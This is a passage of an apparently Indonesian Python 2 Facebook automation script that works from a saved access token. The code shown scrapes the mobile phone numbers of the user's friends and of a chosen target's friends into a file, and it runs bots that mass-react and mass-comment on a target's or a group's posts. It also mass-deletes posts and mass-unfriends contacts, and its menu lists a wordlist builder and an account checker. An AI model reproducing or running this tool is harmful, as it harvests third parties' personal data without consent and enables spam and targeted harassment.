  1229.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1230.             grab()
  1231.         except IOError:
  1232.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  1233.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1234.             grab()
  1235.         except (KeyboardInterrupt, EOFError):
  1236.             print '\x1b[1;91m[!] Terhenti'
  1237.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1238.             grab()
  1239.         except requests.exceptions.ConnectionError:
  1240.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1241.             keluar()
  1242.  
  1243.  
  1244. def nomor_hp():
  1245.     os.system('reset')
  1246.     try:
  1247.         toket = open('login.txt', 'r').read()
  1248.     except IOError:
  1249.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1250.         os.system('rm -rf login.txt')
  1251.         time.sleep(1)
  1252.         login()
  1253.     else:
  1254.         try:
  1255.             os.system('reset')
  1256.             print logo
  1257.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1258.             noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  1259.             url = 'https://graph.facebook.com/me/friends?access_token=' + toket
  1260.             r = requests.get(url)
  1261.             z = json.loads(r.text)
  1262.             no = open(noms, 'w')
  1263.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1264.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1265.             for n in z['data']:
  1266.                 x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket)
  1267.                 z = json.loads(x.text)
  1268.                 try:
  1269.                     hp.append(z['mobile_phone'])
  1270.                     no.write(z['mobile_phone'] + '\n')
  1271.                     print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + z['name']
  1272.                     print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone']
  1273.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1274.                 except KeyError:
  1275.                     pass
  1276.  
  1277.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hp)
  1278.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms
  1279.             no.close()
  1280.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1281.             grab()
  1282.         except IOError:
  1283.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  1284.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1285.             grab()
  1286.         except (KeyboardInterrupt, EOFError):
  1287.             print '\x1b[1;91m[!] Terhenti'
  1288.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1289.             grab()
  1290.         except KeyError:
  1291.             os.remove(noms)
  1292.             print '\x1b[1;91m[!] Kesalahan terjadi'
  1293.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1294.             grab()
  1295.         except requests.exceptions.ConnectionError:
  1296.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1297.             keluar()
  1298.  
  1299.  
  1300. def hpfrom_teman():
  1301.     os.system('reset')
  1302.     try:
  1303.         toket = open('login.txt', 'r').read()
  1304.     except IOError:
  1305.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1306.         os.system('rm -rf login.txt')
  1307.         time.sleep(1)
  1308.         login()
  1309.     else:
  1310.         try:
  1311.             os.system('reset')
  1312.             print logo
  1313.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1314.             idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m')
  1315.             try:
  1316.                 jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
  1317.                 op = json.loads(jok.text)
  1318.                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
  1319.             except KeyError:
  1320.                 print '\x1b[1;91m[!] Belum berteman'
  1321.                 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1322.                 grab()
  1323.  
  1324.             noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
  1325.             r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
  1326.             a = json.loads(r.text)
  1327.             no = open(noms, 'w')
  1328.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1329.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1330.             for i in a['data']:
  1331.                 x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
  1332.                 z = json.loads(x.text)
  1333.                 try:
  1334.                     hpfromteman.append(z['mobile_phone'])
  1335.                     no.write(z['mobile_phone'] + '\n')
  1336.                     print '\r\x1b[1;92mNama\x1b[1;91m  :\x1b[1;97m ' + z['name']
  1337.                     print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone']
  1338.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1339.                 except KeyError:
  1340.                     pass
  1341.  
  1342.             print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hpfromteman)
  1343.             print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms
  1344.             no.close()
  1345.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1346.             grab()
  1347.         except IOError:
  1348.             print '\x1b[1;91m[!] Kesalahan saat membuat file'
  1349.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1350.             grab()
  1351.         except (KeyboardInterrupt, EOFError):
  1352.             print '\x1b[1;91m[!] Terhenti'
  1353.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1354.             grab()
  1355.         except requests.exceptions.ConnectionError:
  1356.             print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  1357.             keluar()
  1358.  
  1359.  
  1360. def menu_bot():
  1361.     os.system('reset')
  1362.     try:
  1363.         toket = open('login.txt', 'r').read()
  1364.     except IOError:
  1365.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1366.         os.system('rm -rf login.txt')
  1367.         time.sleep(1)
  1368.         login()
  1369.  
  1370.     os.system('reset')
  1371.     print logo
  1372.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1373.     print '\x1b[1;37;40m1. Bot Reactions Target Post'
  1374.     print '\x1b[1;37;40m2. Bot Reactions Grup Post'
  1375.     print '\x1b[1;37;40m3. Bot Komen Target Post'
  1376.     print '\x1b[1;37;40m4. Bot Komen Grup Post'
  1377.     print '\x1b[1;37;40m5. Mass delete Post'
  1378.     print '\x1b[1;37;40m6. Terima permintaan pertemanan'
  1379.     print '\x1b[1;37;40m7. Hapus pertemanan'
  1380.     print '\x1b[1;31;40m0. Kembali'
  1381.     print
  1382.     bot_pilih()
  1383.  
  1384.  
  1385. def bot_pilih():
  1386.     bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  1387.     if bots == '':
  1388.         print '\x1b[1;91m[!] Jangan kosong'
  1389.         bot_pilih()
  1390.     else:
  1391.         if bots == '1':
  1392.             menu_react()
  1393.         else:
  1394.             if bots == '2':
  1395.                 grup_react()
  1396.             else:
  1397.                 if bots == '3':
  1398.                     bot_komen()
  1399.                 else:
  1400.                     if bots == '4':
  1401.                         grup_komen()
  1402.                     else:
  1403.                         if bots == '5':
  1404.                             deletepost()
  1405.                         else:
  1406.                             if bots == '6':
  1407.                                 accept()
  1408.                             else:
  1409.                                 if bots == '7':
  1410.                                     unfriend()
  1411.                                 else:
  1412.                                     if bots == '0':
  1413.                                         menu()
  1414.                                     else:
  1415.                                         print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mTidak ada'
  1416.                                         bot_pilih()
  1417.  
  1418.  
  1419. def menu_react():
  1420.     os.system('reset')
  1421.     try:
  1422.         toket = open('login.txt', 'r').read()
  1423.     except IOError:
  1424.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1425.         os.system('rm -rf login.txt')
  1426.         time.sleep(1)
  1427.         login()
  1428.  
  1429.     os.system('reset')
  1430.     print logo
  1431.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1432.     print '\x1b[1;37;40m1. \x1b[1;97mLike'
  1433.     print '\x1b[1;37;40m2. \x1b[1;97mLove'
  1434.     print '\x1b[1;37;40m3. \x1b[1;97mWow'
  1435.     print '\x1b[1;37;40m4. \x1b[1;97mHaha'
  1436.     print '\x1b[1;37;40m5. \x1b[1;97mSedih'
  1437.     print '\x1b[1;37;40m6. \x1b[1;97mMarah'
  1438.     print '\x1b[1;31;40m0. Kembali'
  1439.     print
  1440.     react_pilih()
  1441.  
  1442.  
  1443. def react_pilih():
  1444.     global tipe
  1445.     aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  1446.     if aksi == '':
  1447.         print '\x1b[1;91m[!] Jangan kosong'
  1448.         react_pilih()
  1449.     else:
  1450.         if aksi == '1':
  1451.             tipe = 'LIKE'
  1452.             react()
  1453.         else:
  1454.             if aksi == '2':
  1455.                 tipe = 'LOVE'
  1456.                 react()
  1457.             else:
  1458.                 if aksi == '3':
  1459.                     tipe = 'WOW'
  1460.                     react()
  1461.                 else:
  1462.                     if aksi == '4':
  1463.                         tipe = 'HAHA'
  1464.                         react()
  1465.                     else:
  1466.                         if aksi == '5':
  1467.                             tipe = 'SAD'
  1468.                             react()
  1469.                         else:
  1470.                             if aksi == '6':
  1471.                                 tipe = 'ANGRY'
  1472.                                 react()
  1473.                             else:
  1474.                                 if aksi == '0':
  1475.                                     menu_bot()
  1476.                                 else:
  1477.                                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada'
  1478.                                     react_pilih()
  1479.  
  1480.  
  1481. def react():
  1482.     os.system('reset')
  1483.     try:
  1484.         toket = open('login.txt', 'r').read()
  1485.     except IOError:
  1486.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1487.         os.system('rm -rf login.txt')
  1488.         time.sleep(1)
  1489.         login()
  1490.     else:
  1491.         os.system('reset')
  1492.         print logo
  1493.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1494.         ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ')
  1495.         limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
  1496.         try:
  1497.             oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
  1498.             ah = json.loads(oh.text)
  1499.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1500.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1501.             for a in ah['feed']['data']:
  1502.                 y = a['id']
  1503.                 reaksi.append(y)
  1504.                 requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket)
  1505.                 print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe
  1506.  
  1507.             print
  1508.             print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksi))
  1509.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1510.             menu_bot()
  1511.         except KeyError:
  1512.             print '\x1b[1;91m[!] ID Tidak ditemukan'
  1513.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1514.             menu_bot()
  1515.  
  1516.  
  1517. def grup_react():
  1518.     os.system('reset')
  1519.     try:
  1520.         toket = open('login.txt', 'r').read()
  1521.     except IOError:
  1522.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1523.         os.system('rm -rf login.txt')
  1524.         time.sleep(1)
  1525.         login()
  1526.  
  1527.     os.system('reset')
  1528.     print logo
  1529.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1530.     print '\x1b[1;37;40m1. \x1b[1;97mLike'
  1531.     print '\x1b[1;37;40m2. \x1b[1;97mLove'
  1532.     print '\x1b[1;37;40m3. \x1b[1;97mWow'
  1533.     print '\x1b[1;37;40m4. \x1b[1;97mHaha'
  1534.     print '\x1b[1;37;40m5. \x1b[1;97mSedih'
  1535.     print '\x1b[1;37;40m6. \x1b[1;97mMarah'
  1536.     print '\x1b[1;31;40m0. Kembali'
  1537.     print
  1538.     reactg_pilih()
  1539.  
  1540.  
  1541. def reactg_pilih():
  1542.     global tipe
  1543.     aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  1544.     if aksi == '':
  1545.         print '\x1b[1;91m[!] Jangan kosong'
  1546.         reactg_pilih()
  1547.     else:
  1548.         if aksi == '1':
  1549.             tipe = 'LIKE'
  1550.             reactg()
  1551.         else:
  1552.             if aksi == '2':
  1553.                 tipe = 'LOVE'
  1554.                 reactg()
  1555.             else:
  1556.                 if aksi == '3':
  1557.                     tipe = 'WOW'
  1558.                     reactg()
  1559.                 else:
  1560.                     if aksi == '4':
  1561.                         tipe = 'HAHA'
  1562.                         reactg()
  1563.                     else:
  1564.                         if aksi == '5':
  1565.                             tipe = 'SAD'
  1566.                             reactg()
  1567.                         else:
  1568.                             if aksi == '6':
  1569.                                 tipe = 'ANGRY'
  1570.                                 reactg()
  1571.                             else:
  1572.                                 if aksi == '0':
  1573.                                     menu_bot()
  1574.                                 else:
  1575.                                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada'
  1576.                                     reactg_pilih()
  1577.  
  1578.  
  1579. def reactg():
  1580.     os.system('reset')
  1581.     try:
  1582.         toket = open('login.txt', 'r').read()
  1583.     except IOError:
  1584.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1585.         os.system('rm -rf login.txt')
  1586.         time.sleep(1)
  1587.         login()
  1588.     else:
  1589.         os.system('reset')
  1590.         print logo
  1591.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1592.         ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ')
  1593.         limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
  1594.         ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket)
  1595.         asw = json.loads(ah.text)
  1596.         print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name']
  1597.         try:
  1598.             oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
  1599.             ah = json.loads(oh.text)
  1600.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1601.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1602.             for a in ah['feed']['data']:
  1603.                 y = a['id']
  1604.                 reaksigrup.append(y)
  1605.                 requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket)
  1606.                 print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe
  1607.  
  1608.             print
  1609.             print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksigrup))
  1610.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1611.             menu_bot()
  1612.         except KeyError:
  1613.             print '\x1b[1;91m[!] ID Tidak ditemukan'
  1614.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1615.             menu_bot()
  1616.  
  1617.  
  1618. def bot_komen():
  1619.     os.system('reset')
  1620.     try:
  1621.         toket = open('login.txt', 'r').read()
  1622.     except IOError:
  1623.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1624.         os.system('rm -rf login.txt')
  1625.         time.sleep(1)
  1626.         login()
  1627.     else:
  1628.         os.system('reset')
  1629.         print logo
  1630.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1631.         print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru"
  1632.         ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ')
  1633.         km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar  \x1b[1;91m:\x1b[1;97m ')
  1634.         limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
  1635.         km = km.replace('<>', '\n')
  1636.         try:
  1637.             p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
  1638.             a = json.loads(p.text)
  1639.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1640.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1641.             for s in a['feed']['data']:
  1642.                 f = s['id']
  1643.                 komen.append(f)
  1644.                 requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket)
  1645.                 print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]'
  1646.  
  1647.             print
  1648.             print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komen))
  1649.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1650.             menu_bot()
  1651.         except KeyError:
  1652.             print '\x1b[1;91m[!] ID Tidak ditemukan'
  1653.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1654.             menu_bot()
  1655.  
  1656.  
  1657. def grup_komen():
  1658.     os.system('reset')
  1659.     try:
  1660.         toket = open('login.txt', 'r').read()
  1661.     except IOError:
  1662.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1663.         os.system('rm -rf login.txt')
  1664.         time.sleep(1)
  1665.         login()
  1666.     else:
  1667.         os.system('reset')
  1668.         print logo
  1669.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1670.         print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru"
  1671.         ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup  \x1b[1;91m:\x1b[1;97m ')
  1672.         km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ')
  1673.         limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
  1674.         km = km.replace('<>', '\n')
  1675.         try:
  1676.             ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket)
  1677.             asw = json.loads(ah.text)
  1678.             print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name']
  1679.             p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
  1680.             a = json.loads(p.text)
  1681.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1682.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1683.             for s in a['feed']['data']:
  1684.                 f = s['id']
  1685.                 komengrup.append(f)
  1686.                 requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket)
  1687.                 print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]'
  1688.  
  1689.             print
  1690.             print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komengrup))
  1691.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1692.             menu_bot()
  1693.         except KeyError:
  1694.             print '\x1b[1;91m[!] ID Tidak ditemukan'
  1695.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1696.             menu_bot()
  1697.  
  1698.  
  1699. def deletepost():
  1700.     os.system('reset')
  1701.     try:
  1702.         toket = open('login.txt', 'r').read()
  1703.         nam = requests.get('https://graph.facebook.com/me?access_token=' + toket)
  1704.         lol = json.loads(nam.text)
  1705.         nama = lol['name']
  1706.     except IOError:
  1707.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1708.         os.system('rm -rf login.txt')
  1709.         time.sleep(1)
  1710.         login()
  1711.  
  1712.     os.system('reset')
  1713.     print logo
  1714.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1715.     print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama
  1716.     jalan('\x1b[1;91m[+] \x1b[1;92mMulai menghapus postingan unfaedah\x1b[1;97m ...')
  1717.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1718.     asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket)
  1719.     asus = json.loads(asu.text)
  1720.     for p in asus['data']:
  1721.         id = p['id']
  1722.         piro = 0
  1723.         url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket)
  1724.         ok = json.loads(url.text)
  1725.         try:
  1726.             error = ok['error']['message']
  1727.             print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mGagal'
  1728.         except TypeError:
  1729.             print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mTerhapus'
  1730.             piro += 1
  1731.         except requests.exceptions.ConnectionError:
  1732.             print '\x1b[1;91m[!] Koneksi Error'
  1733.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1734.             menu_bot()
  1735.  
  1736.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  1737.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1738.     menu_bot()
  1739.  
  1740.  
  1741. def accept():
  1742.     os.system('reset')
  1743.     try:
  1744.         toket = open('login.txt', 'r').read()
  1745.     except IOError:
  1746.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1747.         os.system('rm -rf login.txt')
  1748.         time.sleep(1)
  1749.         login()
  1750.  
  1751.     os.system('reset')
  1752.     print logo
  1753.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1754.     limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
  1755.     r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket)
  1756.     teman = json.loads(r.text)
  1757.     if '[]' in str(teman['data']):
  1758.         print '\x1b[1;91m[!] Tidak ada permintaan pertemanan'
  1759.         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1760.         menu_bot()
  1761.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1762.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1763.     for i in teman['data']:
  1764.         gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket)
  1765.         a = json.loads(gas.text)
  1766.         if 'error' in str(a):
  1767.             print '\x1b[1;91m[+] \x1b[1;92mNama  \x1b[1;91m:\x1b[1;97m ' + i['from']['name']
  1768.             print '\x1b[1;91m[+] \x1b[1;92mID    \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m Gagal'
  1769.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1770.         else:
  1771.             print '\x1b[1;91m[+] \x1b[1;92mNama  \x1b[1;91m:\x1b[1;97m ' + i['from']['name']
  1772.             print '\x1b[1;91m[+] \x1b[1;92mID    \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m Berhasil'
  1773.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  1774.  
  1775.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  1776.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1777.     menu_bot()
  1778.  
  1779.  
  1780. def unfriend():
  1781.     os.system('reset')
  1782.     try:
  1783.         toket = open('login.txt', 'r').read()
  1784.     except IOError:
  1785.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1786.         os.system('rm -rf login.txt')
  1787.         time.sleep(1)
  1788.         login()
  1789.     else:
  1790.         os.system('reset')
  1791.         print logo
  1792.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1793.         jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1794.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1795.         print '\x1b[1;97mStop \x1b[1;91mCTRL+C'
  1796.         print
  1797.         try:
  1798.             pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  1799.             cok = json.loads(pek.text)
  1800.             for i in cok['data']:
  1801.                 nama = i['name']
  1802.                 id = i['id']
  1803.                 requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket)
  1804.                 print '\x1b[1;97m[\x1b[1;92mTerhapus\x1b[1;97m] ' + nama + ' => ' + id
  1805.  
  1806.         except IndexError:
  1807.             pass
  1808.         except KeyboardInterrupt:
  1809.             print '\x1b[1;91m[!] Terhenti'
  1810.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1811.             menu_bot()
  1812.  
  1813.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  1814.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1815.     menu_bot()
  1816.  
  1817.  
  1818. def lain():
  1819.     os.system('reset')
  1820.     try:
  1821.         toket = open('login.txt', 'r').read()
  1822.     except IOError:
  1823.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1824.         os.system('rm -rf login.txt')
  1825.         time.sleep(1)
  1826.         login()
  1827.  
  1828.     os.system('reset')
  1829.     print logo
  1830.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1831.     print '\x1b[1;37;40m1. Buat postingan'
  1832.     print '\x1b[1;37;40m2. Buat Wordlist'
  1833.     print '\x1b[1;37;40m3. Akun Checker'
  1834.     print '\x1b[1;37;40m4. Lihat daftar grup'
  1835.     print '\x1b[1;37;40m5. Profile Guard'
  1836.     print
  1837.     print '\x1b[1;97m  ->Coming soon<-'
  1838.     print
  1839.     print '\x1b[1;31;40m0. Kembali'
  1840.     print
  1841.     pilih_lain()
  1842.  
  1843.  
  1844. def pilih_lain():
  1845.     other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  1846.     if other == '':
  1847.         print '\x1b[1;91m[!] Jangan kosong'
  1848.         pilih_lain()
  1849.     else:
  1850.         if other == '1':
  1851.             status()
  1852.         else:
  1853.             if other == '2':
  1854.                 wordlist()
  1855.             else:
  1856.                 if other == '3':
  1857.                     check_akun()
  1858.                 else:
  1859.                     if other == '4':
  1860.                         grupsaya()
  1861.                     else:
  1862.                         if other == '5':
  1863.                             guard()
  1864.                         else:
  1865.                             if other == '0':
  1866.                                 menu()
  1867.                             else:
  1868.                                 print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mTidak ada'
  1869.                                 pilih_lain()
  1870.  
  1871.  
  1872. def status():
  1873.     os.system('reset')
  1874.     try:
  1875.         toket = open('login.txt', 'r').read()
  1876.     except IOError:
  1877.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1878.         os.system('rm -rf login.txt')
  1879.         time.sleep(1)
  1880.         login()
  1881.  
  1882.     os.system('reset')
  1883.     print logo
  1884.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  1885.     msg = raw_input('\x1b[1;91m[+] \x1b[1;92mKetik status \x1b[1;91m:\x1b[1;97m ')
  1886.     if msg == '':
  1887.         print '\x1b[1;91m[!] Jangan kosong'
  1888.         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1889.         lain()
  1890.     else:
  1891.         res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket)
  1892.         op = json.loads(res.text)
  1893.         jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  1894.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  1895.         print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id']
  1896.         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  1897.         lain()
  1898.  
  1899.  
  1900. def wordlist():
  1901.     os.system('reset')
  1902.     try:
  1903.         toket = open('login.txt', 'r').read()
  1904.     except IOError:
  1905.         print '\x1b[1;91m[!] Token tidak ditemukan'
  1906.         os.system('rm -rf login.txt')
  1907.         time.sleep(1)
  1908.         login()
  1909.     else:
  1910.         try:
